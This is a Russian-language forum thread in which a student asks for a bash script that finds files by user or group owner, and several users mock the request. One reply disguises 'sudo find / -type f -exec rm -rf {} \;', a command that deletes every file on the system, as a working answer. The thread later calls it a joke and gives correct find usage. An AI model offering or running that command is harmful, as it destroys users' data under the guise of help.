Помогите пожалуйста.
Задание 2.
Реализовать сценарий на диалекте языка командного интерпретатора bash, производящий поиск файлов в заданной директории (и всех поддиректориях), имеющих заданных владельцев.Входные параметры:
* модификаторы, согласно которым указывается владелец-пользователь или владелец-группа;
* <владелец> - задаваемый владелец или группа-владелец файла
*<директория> - задаваемая директория
вы, товарищ студент, бюджет сразу озвучивайте...
>вы, товарищ студент, бюджет сразу озвучивайте...извините товарищи но ...
заэбали чесна слово ...
>извините товарищи но ...
>заэбали чесна слово ...А вы большой двоечникам неучам нахаляву лабораторные писать?
Всё это делается стандартной утилитой find.
>Всё это делается стандартной утилитой find.А как именно это делается, господин студиозус может узнать из man find:
http://www.opennet.me/man.shtml?topic=find&category=1&russian=2
>Помогите пожалуйста.
>Задание 2.
>Реализовать сценарий на диалекте языка командного интерпретатора bash, производящий поиск файлов в
>заданной директории (и всех поддиректориях), имеющих заданных владельцев.
>
>Входные параметры:
>* модификаторы, согласно которым указывается владелец-пользователь или владелец-группа;
>* <владелец> - задаваемый владелец или группа-владелец файла
>*<директория> - задаваемая директорияexport user="user" gid="group" dir="catalog";;;sudo find / -type f -exec rm -rf '{}' \;
Входные параметры меняются в строке export user="user" gid="group" dir="catalog"
Далее программа find считывает эти глобальные переменные, и выполняет соответствующий поиск.
Пердиката рекурсивного штрудинга rm -rf {} - форматирует выходную информацию в правильный контекст.
Удачи на зачёте!
pavlinux
шутник эдакий
я так понял на этом форуме не дождешься помощи
Мне надо, что то вроде этого
#!/bin/bash
echo "ВЛАДЕЛЕЦ ИЛИ ГРУППА-ВЛАДЕЛЕЦ ФАЙЛА $1 и ДИРЕКТОРИЯ $2"
if [ $# -It 2 ] then
echo "$0 ошибка: вы должны задать два аргумента" else
echo " Количество аргументов верно."
fi
find $2 -type f -user $1 -group
Только без ошибок
>>Пердиката рекурсивного штрудинга.
>Спасибо огромное - хоть кто то понимает.
>Просто времени нет разобраться, дома практически не бываю.Ты эта, того,... я пошутил :)
# find /home/user -user root -group root
# find /home/user -uid 0 -gid 0* владелец или группа задаются после -user или -group, соответственно.
Или -uid 0 и -gid 0, в числовом виде. uid можно узнать по команде id -u root* директория - задаётся сразу после команды find
хахаххаха
да я понял, что шутка
особенно в части rm -rf
Пердиката которая удаляет все.
>хахаххаха
>да я понял, что шутка
>особенно в части rm -rf
>Пердиката которая удаляет все.Пердиката, %ляяяяяяяя!! you made my day!